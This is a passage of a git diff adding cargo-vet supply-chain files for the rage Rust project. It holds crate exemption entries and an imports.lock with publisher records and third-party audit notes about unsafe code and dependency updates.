"0.11.0" +criteria = "safe-to-deploy" + +[[exemptions.pbkdf2]] +version = "0.12.2" +criteria = "safe-to-deploy" + +[[exemptions.pin-project]] +version = "1.1.5" +criteria = "safe-to-deploy" + +[[exemptions.pin-project-internal]] +version = "1.1.3" +criteria = "safe-to-deploy" + +[[exemptions.pkcs1]] +version = "0.7.5" +criteria = "safe-to-deploy" + +[[exemptions.pkcs8]] +version = "0.10.2" +criteria = "safe-to-deploy" + +[[exemptions.plotters]] +version = "0.3.7" +criteria = "safe-to-run" + +[[exemptions.plotters-backend]] +version = "0.3.7" +criteria = "safe-to-run" + +[[exemptions.plotters-svg]] +version = "0.3.6" +criteria = "safe-to-run" + +[[exemptions.poly1305]] +version = "0.8.0" +criteria = "safe-to-deploy" + +[[exemptions.polyval]] +version = "0.6.2" +criteria = "safe-to-deploy" + +[[exemptions.pprof]] +version = "0.13.0" +criteria = "safe-to-run" + +[[exemptions.ppv-lite86]] +version = "0.2.20" +criteria = "safe-to-deploy" + +[[exemptions.proc-macro-error-attr2]] +version = "2.0.0" +criteria = "safe-to-deploy" + +[[exemptions.proc-macro-error2]] +version = "2.0.1" +criteria = "safe-to-deploy" + +[[exemptions.proptest]] +version = "1.5.0" +criteria = "safe-to-run" + +[[exemptions.quick-error]] +version = "1.2.3" +criteria = "safe-to-run" + +[[exemptions.quick-xml]] +version = "0.26.0" +criteria = "safe-to-run" + +[[exemptions.rand]] +version = "0.8.5" +criteria = "safe-to-deploy" + +[[exemptions.redox_syscall]] +version = "0.5.7" +criteria = "safe-to-deploy" + +[[exemptions.regex]] +version = "1.9.5" +criteria = "safe-to-deploy" + +[[exemptions.regex-automata]] +version = "0.3.8" +criteria = "safe-to-deploy" + +[[exemptions.regex-syntax]] +version = "0.7.2" +criteria = "safe-to-deploy" + +[[exemptions.rgb]] +version = "0.8.50" +criteria = "safe-to-run" + +[[exemptions.roff]] +version = "0.2.1" +criteria = "safe-to-deploy" + +[[exemptions.rpassword]] +version = "7.3.1" +criteria = "safe-to-deploy" + +[[exemptions.rsa]] +version = "0.9.6" +criteria = "safe-to-deploy" + +[[exemptions.rtoolbox]] +version = "0.0.2" +criteria = "safe-to-deploy" + +[[exemptions.rust-embed]] +version = "8.3.0" +criteria = "safe-to-deploy" + +[[exemptions.rust-embed-impl]] +version = "8.3.0" +criteria = "safe-to-deploy" + +[[exemptions.rust-embed-utils]] +version = "8.3.0" +criteria = "safe-to-deploy" + +[[exemptions.rustix]] +version = "0.38.34" +criteria = "safe-to-deploy" + +[[exemptions.rusty-fork]] +version = "0.3.0" +criteria = "safe-to-run" + +[[exemptions.ryu]] +version = "1.0.15" +criteria = "safe-to-run" + +[[exemptions.salsa20]] +version = "0.10.2" +criteria = "safe-to-deploy" + +[[exemptions.same-file]] +version = "1.0.6" +criteria = "safe-to-deploy" + +[[exemptions.scopeguard]] +version = "1.2.0" +criteria = "safe-to-deploy" + +[[exemptions.scrypt]] +version = "0.11.0" +criteria = "safe-to-deploy" + +[[exemptions.secrecy]] +version = "0.10.3" +criteria = "safe-to-deploy" + +[[exemptions.self_cell]] +version = "0.10.3" +criteria = "safe-to-deploy" + +[[exemptions.self_cell]] +version = "1.0.4" +criteria = "safe-to-deploy" + +[[exemptions.serde_spanned]] +version = "0.6.3" +criteria = "safe-to-run" + +[[exemptions.sha2]] +version = "0.10.8" +criteria = "safe-to-deploy" + +[[exemptions.shlex]] +version = "1.3.0" +criteria = "safe-to-deploy" + +[[exemptions.similar]] +version = "2.6.0" +criteria = "safe-to-run" + +[[exemptions.slab]] +version = "0.4.9" +criteria = "safe-to-deploy" + +[[exemptions.smallvec]] +version = "1.11.1" +criteria = "safe-to-deploy" + +[[exemptions.snapbox]] +version = "0.4.11" +criteria = "safe-to-run" + +[[exemptions.snapbox-macros]] +version = "0.3.4" +criteria = "safe-to-run" + +[[exemptions.spin]] +version = "0.9.8" +criteria = "safe-to-deploy" + +[[exemptions.spki]] +version = "0.7.3" +criteria = "safe-to-deploy" + +[[exemptions.str_stack]] +version = "0.1.0" +criteria = "safe-to-run" + +[[exemptions.symbolic-common]] +version = "12.12.0" +criteria = "safe-to-run" + +[[exemptions.symbolic-demangle]] +version = "12.12.0" +criteria = "safe-to-run" + +[[exemptions.syn]] +version = "2.0.87" +criteria = "safe-to-deploy" + +[[exemptions.tar]] +version = "0.4.43" +criteria = "safe-to-deploy" + +[[exemptions.tempfile]] +version = "3.3.0" +criteria = "safe-to-deploy" + +[[exemptions.termcolor]] +version = "1.4.1" +criteria = "safe-to-deploy" + +[[exemptions.test-case]] +version = "3.3.1" +criteria = "safe-to-run" + +[[exemptions.test-case-core]] +version = "3.3.1" +criteria = "safe-to-run" + +[[exemptions.test-case-macros]] +version = "3.3.1" +criteria = "safe-to-run" + +[[exemptions.threadpool]] +version = "1.8.1" +criteria = "safe-to-deploy" + +[[exemptions.time]] +version = "0.1.44" +criteria = "safe-to-deploy" + +[[exemptions.tokio]] +version = "1.38.1" +criteria = "safe-to-run" + +[[exemptions.tokio-macros]] +version = "2.3.0" +criteria = "safe-to-run" + +[[exemptions.toml]] +version = "0.5.9" +criteria = "safe-to-deploy" + +[[exemptions.toml_edit]] +version = "0.19.14" +criteria = "safe-to-run" + +[[exemptions.trycmd]] +version = "0.14.16" +criteria = "safe-to-run" + +[[exemptions.type-map]] +version = "0.5.0" +criteria = "safe-to-deploy" + +[[exemptions.typenum]] +version = "1.15.0" +criteria = "safe-to-deploy" + +[[exemptions.unarray]] +version = "0.1.4" +criteria = "safe-to-run" + +[[exemptions.utf8parse]] +version = "0.2.2" +criteria = "safe-to-deploy" + +[[exemptions.uuid]] +version = "1.11.0" +criteria = "safe-to-run" + +[[exemptions.version_check]] +version = "0.9.5" +criteria = "safe-to-deploy" + +[[exemptions.walkdir]] +version = "2.5.0" +criteria = "safe-to-deploy" + +[[exemptions.wasi]] +version = "0.11.0+wasi-snapshot-preview1" +criteria = "safe-to-deploy" + +[[exemptions.wasm-bindgen]] +version = "0.2.92" +criteria = "safe-to-deploy" + +[[exemptions.wasm-bindgen-backend]] +version = "0.2.88" +criteria = "safe-to-deploy" + +[[exemptions.wasm-bindgen-macro]] +version = "0.2.87" +criteria = "safe-to-deploy" + +[[exemptions.web-sys]] +version = "0.3.65" +criteria = "safe-to-deploy" + +[[exemptions.which]] +version = "4.3.0" +criteria = "safe-to-deploy" + +[[exemptions.winapi]] +version = "0.3.9" +criteria = "safe-to-deploy" + +[[exemptions.winapi-i686-pc-windows-gnu]] +version = "0.4.0" +criteria = "safe-to-deploy" + +[[exemptions.winapi-util]] +version = "0.1.9" +criteria = "safe-to-deploy" + +[[exemptions.winapi-x86_64-pc-windows-gnu]] +version = "0.4.0" +criteria = "safe-to-deploy" + +[[exemptions.windows-core]] +version = "0.52.0" +criteria = "safe-to-deploy" + +[[exemptions.windows_i686_gnullvm]] +version = "0.52.6" +criteria = "safe-to-deploy" + +[[exemptions.winnow]] +version = "0.5.40" +criteria = "safe-to-run" + +[[exemptions.wsl]] +version = "0.1.0" +criteria = "safe-to-deploy" + +[[exemptions.x25519-dalek]] +version = "2.0.1" +criteria = "safe-to-deploy" + +[[exemptions.zerocopy]] +version = "0.6.6" +criteria = "safe-to-deploy" + +[[exemptions.zerocopy]] +version = "0.7.35" +criteria = "safe-to-deploy" + +[[exemptions.zerocopy-derive]] +version = "0.6.6" +criteria = "safe-to-deploy" + +[[exemptions.zerocopy-derive]] +version = "0.7.35" +criteria = "safe-to-deploy" + +[[exemptions.zeroize]] +version = "1.8.1" +criteria = "safe-to-deploy" + +[[exemptions.zeroize_derive]] +version = "1.3.2" +criteria = "safe-to-deploy" + +[[exemptions.zip]] +version = "0.6.6" +criteria = "safe-to-deploy" + +[[exemptions.zstd]] +version = "0.11.2+zstd.1.5.2" +criteria = "safe-to-deploy" + +[[exemptions.zstd-safe]] +version = "5.0.2+zstd.1.5.2" +criteria = "safe-to-deploy" + +[[exemptions.zstd-sys]] +version = "2.0.13+zstd.1.5.6" +criteria = "safe-to-deploy" diff --git a/lib/rage/supply-chain/imports.lock b/lib/rage/supply-chain/imports.lock new file mode 100644 index 0000000..12d3267 --- /dev/null +++ b/lib/rage/supply-chain/imports.lock @@ -0,0 +1,3041 @@ + +# cargo-vet imports lock + +[[publisher.bumpalo]] +version = "3.14.0" +when = "2023-09-14" +user-id = 696 +user-login = "fitzgen" +user-name = "Nick Fitzgerald" + +[[publisher.core-foundation-sys]] +version = "0.8.4" +when = "2023-04-03" +user-id = 5946 +user-login = "jrmuizel" +user-name = "Jeff Muizelaar" + +[[publisher.pinentry]] +version = "0.6.0" +when = "2024-11-03" +user-id = 6289 +user-login = "str4d" +user-name = "Jack Grigg" + +[[publisher.windows-sys]] +version = "0.45.0" +when = "2023-01-21" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-sys]] +version = "0.48.0" +when = "2023-03-31" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-sys]] +version = "0.52.0" +when = "2023-11-15" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-sys]] +version = "0.59.0" +when = "2024-07-30" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-targets]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-targets]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-targets]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_gnullvm]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_gnullvm]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_gnullvm]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_msvc]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_msvc]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_msvc]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_gnu]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_gnu]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_gnu]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_msvc]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_msvc]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_msvc]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnu]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnu]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnu]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnullvm]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnullvm]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnullvm]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_msvc]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_msvc]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_msvc]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[audits.bytecode-alliance.wildcard-audits.bumpalo]] +who = "Nick Fitzgerald " +criteria = "safe-to-deploy" +user-id = 696 # Nick Fitzgerald (fitzgen) +start = "2019-03-16" +end = "2025-07-30" + +[[audits.bytecode-alliance.audits.addr2line]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.19.0 -> 0.20.0" +notes = "This version brings support for split-dwarf which while it uses the filesystem is always done at the behest of the caller, so everything is as expected for this update." + +[[audits.bytecode-alliance.audits.addr2line]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.20.0 -> 0.21.0" +notes = "This version bump updated some dependencies and optimized some internals. All looks good." + +[[audits.bytecode-alliance.audits.addr2line]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.21.0 -> 0.22.0" + +[[audits.bytecode-alliance.audits.adler]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "1.0.2" +notes = "This is a small crate which forbids unsafe code and is a straightforward implementation of the adler hashing algorithm." + +[[audits.bytecode-alliance.audits.adler2]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "2.0.0" +notes = "Fork of the original `adler` crate, zero unsfae code, works in `no_std`, does what it says on th tin." + +[[audits.bytecode-alliance.audits.anes]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.1.6" +notes = "Contains no unsafe code, no IO, no build.rs." + +[[audits.bytecode-alliance.audits.arrayvec]] +who = "Nick Fitzgerald " +criteria = "safe-to-deploy" +version = "0.7.2" +notes = """ +Well documented invariants, good assertions for those invariants in unsafe code, +and tested with MIRI to boot. LGTM. +""" + +[[audits.bytecode-alliance.audits.base64]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.21.0" +notes = "This crate has no dependencies, no build.rs, and contains no unsafe code." + +[[audits.bytecode-alliance.audits.block-buffer]] +who = "Benjamin Bouvier " +criteria = "safe-to-deploy" +delta = "0.9.0 -> 0.10.2" + +[[audits.bytecode-alliance.audits.cfg-if]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "1.0.0" +notes = "I am the author of this crate." + +[[audits.bytecode-alliance.audits.cipher]] +who = "Andrew Brown " +criteria = "safe-to-deploy" +version = "0.4.4" +notes = "Most unsafe is hidden by `inout` dependency; only remaining unsafe is raw-splitting a slice and an unreachable hint. Older versions of this regularly reach ~150k daily downloads." + +[[audits.bytecode-alliance.audits.core-foundation-sys]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +delta = "0.8.4 -> 0.8.6" +notes = """ +The changes here are all typical bindings updates: new functions, types, and +constants. I have not audited all the bindings for ABI conformance. +""" + +[[audits.bytecode-alliance.audits.cpufeatures]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.2.2 -> 0.2.7" +notes = """ +This is a minor update that looks to add some more detected CPU features and +various other minor portability fixes such as MIRI support. +""" + +[[audits.bytecode-alliance.audits.criterion]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +delta = "0.3.6 -> 0.4.0" +notes = """ +criterion v0.3.6..v0.4.0 is mostly re-arranging the crate features and bumping dependencies. all changes +to code seem to be confined to benchmarks. +""" + +[[audits.bytecode-alliance.audits.criterion-plot]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +delta = "0.4.5 -> 0.5.0" +notes = "Just a version bump, only change to code is to remove an allow(deprecated)" + +[[audits.bytecode-alliance.audits.crypto-common]] +who = "Benjamin Bouvier " +criteria = "safe-to-deploy" +version = "0.1.3" + +[[audits.bytecode-alliance.audits.digest]] +who = "Benjamin Bouvier " +criteria = "safe-to-deploy" +delta = "0.9.0 -> 0.10.3" + +[[audits.bytecode-alliance.audits.errno]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +version = "0.3.0" +notes = "This crate uses libc and windows-sys APIs to get and set the raw OS error value." + +[[audits.bytecode-alliance.audits.errno]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +delta = "0.3.0 -> 0.3.1" +notes = "Just a dependency version bump and a bug fix for redox" + +[[audits.bytecode-alliance.audits.fastrand]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "2.0.0 -> 2.0.1" +notes = """ +This update had a few doc updates but no otherwise-substantial source code +updates. +""" + +[[audits.bytecode-alliance.audits.futures-channel]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.3.27" +notes = "build.rs is just detecting the target and setting cfg. unsafety is for implementing a concurrency primitives using atomics and unsafecell, and is not obviously incorrect (this is the sort of thing I wouldn't certify as correct without formal methods)" + +[[audits.bytecode-alliance.audits.futures-core]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.3.27" +notes = "Unsafe used to implement a concurrency primitive AtomicWaker. Well-commented and not obviously incorrect. Like my other audits of these concurrency primitives inside the futures family, I couldn't certify that it is correct without formal methods, but that is out of scope for this vetting." + +[[audits.bytecode-alliance.audits.futures-executor]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.3.27" +notes = "Unsafe used to implement the unpark mutex, which is well commented and not obviously incorrect. Like with futures-channel I wouldn't be able to certify it as correct without formal methods." + +[[audits.bytecode-alliance.audits.futures-io]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.3.27" + +[[audits.bytecode-alliance.audits.gimli]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.27.3 -> 0.28.0" +notes = """ +Still looks like a good DWARF-parsing crate, nothing major was added or deleted +and no `unsafe` code to review here. +""" + +[[audits.bytecode-alliance.audits.gimli]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.28.0 -> 0.29.0" + +[[audits.bytecode-alliance.audits.heck]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "0.4.0" +notes = "Contains `forbid_unsafe` and only uses `std::fmt` from the standard library. Otherwise only contains string manipulation." + +[[audits.bytecode-alliance.audits.iana-time-zone-haiku]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +version = "0.1.2" + +[[audits.bytecode-alliance.audits.jobserver]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.1.25 -> 0.1.32" + +[[audits.bytecode-alliance.audits.libc]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +delta = "0.2.158 -> 0.2.161" + +[[audits.bytecode-alliance.audits.libm]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.2.2 -> 0.2.4" +notes = """ +This diff primarily fixes a few issues with the `fma`-related functions, +but also contains some other minor fixes as well. Everything looks A-OK and +as expected. +""" + +[[audits.bytecode-alliance.audits.libm]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.2.4 -> 0.2.7" +notes = """ +This is a minor update which has some testing affordances as well as some +updated math algorithms. +""" + +[[audits.bytecode-alliance.audits.miniz_oxide]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "0.7.1" +notes = """ +This crate is a Rust implementation of zlib compression/decompression and has +been used by default by the Rust standard library for quite some time. It's also +a default dependency of the popular `backtrace` crate for decompressing debug +information. This crate forbids unsafe code and does not otherwise access system +resources. It's originally a port of the `miniz.c` library as well, and given +its own longevity should be relatively hardened against some of the more common +compression-related issues. +""" + +[[audits.bytecode-alliance.audits.miniz_oxide]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.7.1 -> 0.8.0" +notes = "Minor updates, using new Rust features like `const`, no major changes." + +[[audits.bytecode-alliance.audits.num-traits]] +who = "Andrew Brown " +criteria = "safe-to-deploy" +version = "0.2.19" +notes = "As advertised: a numeric library. The only `unsafe` is from some float-to-int conversions, which seems expected." + +[[audits.bytecode-alliance.audits.percent-encoding]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "2.2.0" +notes = """ +This crate is a single-file crate that does what it says on the tin. There are +a few `unsafe` blocks related to utf-8 validation which are locally verifiable +as correct and otherwise this crate is good to go. +""" + +[[audits.bytecode-alliance.audits.pin-utils]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.1.0" + +[[audits.bytecode-alliance.audits.pkg-config]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.3.25" +notes = "This crate shells out to the pkg-config executable, but it appears to sanitize inputs reasonably." + +[[audits.bytecode-alliance.audits.pkg-config]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.3.26 -> 0.3.29" +notes = """ +No `unsafe` additions or anything outside of the purview of the crate in this +change. +""" + +[[audits.bytecode-alliance.audits.rustc-demangle]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "0.1.21" +notes = "I am the author of this crate." + +[[audits.bytecode-alliance.audits.rustc-demangle]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.1.21 -> 0.1.24" + +[[audits.bytecode-alliance.audits.rustix]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +delta = "0.38.34 -> 0.38.37" + +[[audits.bytecode-alliance.audits.rustix]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +delta = "0.38.37 -> 0.38.38" + +[[audits.bytecode-alliance.audits.semver]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "1.0.17" +notes = "plenty of unsafe pointer and vec tricks, but in well-structured and commented code that appears to be correct" + +[[audits.bytecode-alliance.audits.sha1]] +who = "Andrew Brown " +criteria = "safe-to-deploy" +delta = "0.10.5 -> 0.10.6" +notes = "Only new code is some loongarch64 additions which include assembly code for that platform." + +[[audits.bytecode-alliance.audits.tempfile]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +delta = "3.3.0 -> 3.5.0" + +[[audits.bytecode-alliance.audits.tempfile]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "3.5.0 -> 3.6.0" +notes = "Dependency updates and new optimized trait implementations, but otherwise everything looks normal." + +[[audits.bytecode-alliance.audits.xattr]] +who = "Andrew Brown " +criteria = "safe-to-deploy" +version = "1.2.0" +notes = "This crate contains `unsafe` calls to libc `extattr_*` functions as one would expect from the crate's purpose." + +[[audits.bytecode-alliance.audits.xattr]] +who = "Andrew Brown " +criteria = "safe-to-deploy" +delta = "1.2.0 -> 1.3.1" +notes = "Minor changes to MacOS-specific code." + +[[audits.embark-studios.audits.thiserror]] +who = "Johan Andersson " +criteria = "safe-to-deploy" +version = "1.0.40" +notes = "Wrapper over implementation crate, found no unsafe or ambient capabilities used" + +[[audits.embark-studios.audits.thiserror-impl]] +who = "Johan Andersson " +criteria = "safe-to-deploy" +version = "1.0.40" +notes = "Found no unsafe or ambient capabilities used" + +[[audits.embark-studios.audits.toml_datetime]] +who = "Johan Andersson " +criteria = "safe-to-deploy" +delta = "0.6.1 -> 0.6.2" +notes = "No notable changes" + +[[audits.fermyon.audits.oorandom]] +who = "Radu Matei " +criteria = "safe-to-run" +version = "11.1.3" + +[[audits.google.audits.addr2line]] +who = "George Burgess IV " +criteria = "safe-to-run" +version = "0.19.0" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.aes]] +who = "David Koloski " +criteria = "safe-to-deploy" +delta = "0.8.2 -> 0.8.4" +notes = "Audited at https://fxrev.dev/987054" +aggregated-from = "https://fuchsia.googlesource.com/fuchsia/+/refs/heads/main/third_party/rust_crates/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.ahash]] +who = "Nicholas Bishop " +criteria = "safe-to-run" +version = "0.8.3" +notes = """ +Note on does-not-implement-crypto: the aHash documentation explicitly +states it is not a cryptographically secure hash. +""" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.ahash]] +who = "Nicholas Bishop " +criteria = "safe-to-run" +delta = "0.8.3 -> 0.8.5" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.ahash]] +who = "Nicholas Bishop " +criteria = "safe-to-run" +delta = "0.8.5 -> 0.8.11" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.autocfg]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.1.0" +notes = """ +Grepped for `-i cipher`, `-i crypto`, `'\bfs\b'``, `'\bnet\b'``, `'\bunsafe\b'`` +and there were no hits except for reasonable, client-controlled usage of +`std::fs` in `AutoCfg::with_dir`. + +This crate has been added to Chromium in +https://source.chromium.org/chromium/chromium/src/+/591a0f30c5eac93b6a3d981c2714ffa4db28dbcb +The CL description contains a link to a Google-internal document with audit details. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.autocfg]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.1.0 -> 1.2.0" +notes = ''' +Grepped for `-i cipher`, `-i crypto`, `'\bfs\b'``, `'\bnet\b'``, `'\bunsafe\b'`` +and nothing changed from the baseline audit of 1.1.0. Skimmed through the +1.1.0 => 1.2.0 delta and everything seemed okay. +''' +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bitflags]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.3.2" +notes = """ +Security review of earlier versions of the crate can be found at +(Google-internal, sorry): go/image-crate-chromium-security-review + +The crate exposes a function marked as `unsafe`, but doesn't use any +`unsafe` blocks (except for tests of the single `unsafe` function). I +think this justifies marking this crate as `ub-risk-1`. + +Additional review comments can be found at https://crrev.com/c/4723145/31 +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bitflags]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "2.4.2" +notes = """ +Audit notes: + +* I've checked for any discussion in Google-internal cl/546819168 (where audit + of version 2.3.3 happened) +* `src/lib.rs` contains `#![cfg_attr(not(test), forbid(unsafe_code))]` +* There are 2 cases of `unsafe` in `src/external.rs` but they seem to be + correct in a straightforward way - they just propagate the marker trait's + impl (e.g. `impl bytemuck::Pod`) from the inner to the outer type +* Additional discussion and/or notes may be found in https://crrev.com/c/5238056 +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bitflags]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "2.4.2 -> 2.5.0" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bitflags]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "2.5.0 -> 2.6.0" +notes = "The changes from the previous version are negligible and thus it retains the same properties." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bytemuck]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.16.3" +notes = """ +Review notes from the original audit (of 1.14.3) may be found in +https://crrev.com/c/5362675. Note that this audit has initially missed UB risk +that was fixed in 1.16.2 - see https://github.com/Lokathor/bytemuck/pull/258. +Because of this, the original audit has been edited to certify version `1.16.3` +instead (see also https://crrev.com/c/5771867). +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bytemuck]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.16.3 -> 1.17.1" +notes = "Unsafe review comments can be found in https://crrev.com/c/5813463" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bytemuck]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "1.17.1 -> 1.18.0" +notes = "No code changes - just altering feature flag arrangements" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bytemuck]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "1.18.0 -> 1.19.0" +notes = "No code changes - just comment changes and adding the track_caller attribute." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.byteorder]] +who = "danakj " +criteria = "safe-to-deploy" +version = "1.5.0" +notes = "Unsafe review in https://crrev.com/c/5838022" +aggregated-from = 